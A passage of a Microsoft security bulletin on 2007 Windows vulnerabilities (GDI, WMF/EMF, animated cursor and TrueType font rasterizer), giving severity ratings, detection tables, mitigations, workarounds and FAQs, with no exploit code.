CVE-2007-1215\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nFont Rasterizer Vulnerability - CVE-2007-1213\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nAggregate Severity of All Vulnerabilities\r\n\t\r\n\r\n \r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nNote The severity ratings for non-x86 operating system versions map to the x86 operating system versions as follows:\r\n\u2022\t\r\n\r\nThe Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2 severity ratings are the same as the Windows XP Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP1 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP2 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition Service Pack 2 severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Vista x64 Edition severity rating is the same as the Windows Vista severity rating.\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhy does this update address several reported security vulnerabilities? \r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers can install only this update.\r\n\r\nWhat updates does this release replace? \r\nThis security update replaces a prior security update. The security bulletin ID and affected operating systems are listed in the following table.\r\nBulletin ID\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nMS06-001\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-053\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-002\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nNot Applicable\r\n\r\nI am using an older version of the software discussed in this security bulletin; what should I do? \r\nThesupported software called out under in this bulletin has been tested to determine whether the versions are affected. Other versions are past their support life cycle. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nIt should be a priority for customers who have older versions of the software to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Lifecycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the Microsoft Product Support Services Web site.\r\n\r\nCustomers who require custom support for older software must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Windows Operating System Product Support Lifecycle FAQ.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer (MBSA) to determine whether this update is required?\r\nThe following table provides the MBSA detection summary for this security update.\r\nProduct\tMBSA 1.2.1\tMBSA 2.0.1\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 Service Pack 1 and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems with Service Pack 2 and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nWindows Vista\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nWindows Vista x64 Edition\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nFor more information about MBSA, visit the MBSA Web site. For more information about the software that Microsoft Update and MBSA 2.0 currently do not detect, see Microsoft Knowledge Base Article 895660.\r\n\r\nNote for Windows Vista MBSA 2.0.1 is not supported on Windows Vista but supports remote scans of computers running Windows Vista. For additional information about MBSA support for Windows Vista, visit the MBSA Web site. See also Microsoft Knowledge Base Article 931943: Microsoft Baseline Security Analyzer (MBSA) support for Windows Vista.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\n\r\nCan I use Systems Management Server (SMS) to determine whether this update is required?\r\nThe following table provides the SMS detection summary for this security update.\r\nProduct\tSMS 2.0\tSMS 2003\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with Service Pack 1 for Itanium-based Systems, and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nSMS 2.0 and SMS 2003 Software Update Services (SUS) Feature Pack can use MBSA 1.2.1 for detection and therefore have the same limitation that is listed earlier in this bulletin related to programs that MBSA 1.2.1 does not detect.\r\n\r\nFor more information about SMS, visit the SMS Web site.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\nTop of sectionTop of section\r\n\t\r\nVulnerability Details\r\n\t\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it starts applications. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\u2022\t\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nThe vulnerability is caused by the incorrect handling of memory reserved for the Windows kernel by the Windows Graphics Rendering Engine when processing WMF and EMF file types.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by modifying the way the handle is created.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. While the initial report was provided through responsible disclosure, the vulnerability was later disclosed publicly by the same security researcher. It has been assigned Common Vulnerability and Exposure number CVE-2006-5758. It also has been named GDI Kernel Local Elevation of Privilege Vulnerability by the larger security community. This security bulletin addresses the publicly disclosed vulnerability as well as additional issues discovered through internal investigations.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability? \r\nYes. This security update addresses the vulnerability that potentially could be exploited by using the published proof of concept code. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2006-5758.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nA denial of service vulnerability exists in Windows when rendering Windows Metafile (WMF) image format files. An attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\t\r\nMitigating Factors for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's Web site. After they click the link, they would be prompted to perform several actions. An attack could only occur after they performed these actions.\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who convinced a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an e-mail message.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version, or Outlook Express 6 SP1 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor more information about how to enable this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker who exploited this vulnerability could cause the affectedsystem to stop responding and automatically restart. Note that the denial of service vulnerability would not allow attackers to execute code or elevate their privileges, but it could cause the affected program to stop accepting requests.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by an attempt to read a data value that contains an invalid memory reference.\r\n\r\nWhat is the Windows Metafile (WMF) image formats?\r\nThe WMF image format is a 16-bit metafile format that can contain both vector information and bitmap information. It is optimized for the Windows operating system.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\r\nWho could exploit the vulnerability?\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to attempt to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nI am running Internet Explorer on Windows Server 2003. Does this mitigate this vulnerability?\r\nYes. By default, Internet Explorer on Windows Server 2003 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that have not been added to Internet Explorer Trusted sites zone.\r\n\r\nWhat is the Internet Explorer Enhanced Security Configuration?\r\nInternet Explorer Enhanced Security Configuration is a group of preconfigured Internet Explorer settings that reduce the likelihood of a user or of an administrator downloading and running specially crafted Web content on a server. Internet Explorer Enhanced Security Configuration reduces this risk by modifying many security-related settings. This includes the settings on the Security tab and the Advanced tab in the Internet Options dialog box. Some of the important modifications include the following:\r\n\u2022\t\r\n\r\nSecurity level for the Internet zone is set to High. This setting disables scripts, ActiveX controls, Microsoft Java Virtual Machine (MSJVM), and file downloads.\r\n\u2022\t\r\n\r\nAutomatic detection of intranet sites is disabled. This setting assigns all intranet Web sites and all Universal Naming Convention (UNC) paths that are not explicitly listed in the Local intranet zone to the Internet zone.\r\n\u2022\t\r\n\r\nInstall On Demand and non-Microsoft browser extensions are disabled. This setting prevents Web pages from automatically installing components and prevents non-Microsoft extensions from running.\r\n\u2022\t\r\n\r\nMultimedia content is disabled. This setting prevents music, animations, and video clips from running.\r\n\r\nFor more information regarding Internet Explorer Enhanced Security Configuration, see the guide, Managing Internet Explorer Enhanced Security Configuration, at the following Web site.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system checks message inputs under certain circumstances.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212:\r\n\r\nAn elevation of privilege vulnerability exists in the rendering of Enhanced Metafile (EMF) image format files. Any program that renders EMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any mitigations for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nAn unchecked buffer in GDI when rendering Enhanced Metafile (EMF) image format files.\r\n\r\nWhat is Enhanced Metafile (EMF) image format? \r\nThe EMF image format is a 32-bit format that can contain both vector information and bitmap information.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system versions validate the length of a message before it passes the message to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it renders layered application windows. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by the processing of invalid application window sizes.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI, please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nAn attacker could try to exploit the vulnerability by creating a specially crafted application and executing it on the affected system. The application could create a series of layered windows that pass an invalid parameter. In this way, an unprivileged attacker could gain complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update resolves the vulnerability by verifying application window sizes before it passes the data to the allocated buffer\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nMicrosoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nA remote code execution vulnerability exists in the way that Windows handles cursor, animated cursor, and icon formats. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially allow remote code execution if a user visited a malicious Web site or viewed a specially crafted e-mail message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\u2022\t\r\n\r\nCustomers who are using Windows Internet Explorer 7 on Windows Vista are protected from currently known web based attacks due to Internet Explorer Protected Mode. For more information on Internet Explorer Protected Mode see the following Windows Web site.\r\n\u2022\t\r\n\r\nBy default, Microsoft Office Outlook 2007 uses Microsoft Word to display e-mail messages which protects customers from the HTML e-mail preview and attack vector.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker could also attempt to compromise a Web site to have it serve up a Web page with malicious content attempting to exploit this vulnerability. An attacker would have no way to force users to visit a Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site or a site compromised by the attacker.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nMicrosoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nNote Reading e-mail in plain text on Outlook Express does not mitigate attempts to exploit this vulnerability.\r\n\r\nNote While reading e-mail in plain text on Windows Mail in Windows Vista does mitigate attempts to exploit the vulnerability it does not provide mitigation if forwarding or replying to e-mail messages sent by an attacker.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis isa remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full privileges. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges.\r\n\r\nWhat are Animated Cursors?\r\nAnimated cursors are a feature that allows a series of frames to appear at the mouse pointer location instead of a single image. The Animated Cursors feature is designated by the .ani suffix.\r\n\r\nIf I block files that use the .ani file name extension, can this protect me against attempts to exploit this vulnerability? \r\nNo. The vulnerability is not constrained by the .ani file extension. Additional image file types may be used to exploit the vulnerability.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability exists in the way that Windows performs format validation prior to handling cursors, animated cursors, and icons.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could try to exploit the vulnerability by creating a specially crafted web page. An attacker could also create a specially-crafted email message and send it to an affected system. Upon viewing a web page, previewing or reading a specially crafted message, or opening a specially crafted email attachment the attacker could cause the affected system to execute code. While animated cursors typically are associated with the .ani file extension, a successful attack is not constrained by this file type.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that cursors, animated cursor, and icon formats are validated prior to rendering.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2007-0038.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nYes. When the security bulletin was released, Microsoft had received information that this vulnerability was being exploited.\r\n\r\nWhat is Microsoft\u2019s response to the availability of third party patches for the Animated Cursor vulnerability?\r\nMicrosoft recommends that customers download and deploy the security update associated with this security bulletin.\r\n\r\nAs a general rule, it is a best practice to obtain security updates for software vulnerabilities from the original vendor of the software. With Microsoft software, Microsoft carefully reviews and tests security updates to ensure that they are of high quality and have been evaluated thoroughly for application compatibility. In addition, Microsoft\u2019s security updates are offered in 23 languages for all affected versions of the software simultaneously.\r\n\r\nMicrosoft cannot provide similar assurance for independent third party security patches or mitigations.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability that is being actively exploited. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2007-0038.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nA local elevation of privilege vulnerability exists in the Graphics Device Interface due to the way it processes color-related parameters. This vulnerability could allow an attacker to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nAn attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with the same user rights as the logged-on user.\r\n\r\nWhat causes the vulnerability?\r\nWhen a Windows-based program renders affected types of images, the program passes color-related parameters to an unchecked memory buffer in GDI.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. An attacker could locally log on to the system and then run a specially designed program that could exploit the vulnerability.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs or browse web pages. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the Graphic Device Interface validates the length of data before passing the data to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nFont Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nA local elevation of privilege vulnerability exists in the TrueType Fonts rasterizer in the way that it handles defective or modified font types. This vulnerability could allow a logged-on user to take complete control of the system.\r\n\t\r\nMitigating Factors for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nAttempts to exploit this vulnerability will most probably result in a denial of service condition caused by an unexpected restart of the affected system rather than local elevation of privilege.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen processing defective or modified fonts, the TrueType Font Rasterizer may call an uninitialized function pointer.\r\n\r\nWhat is True Type Font Rasterizer? 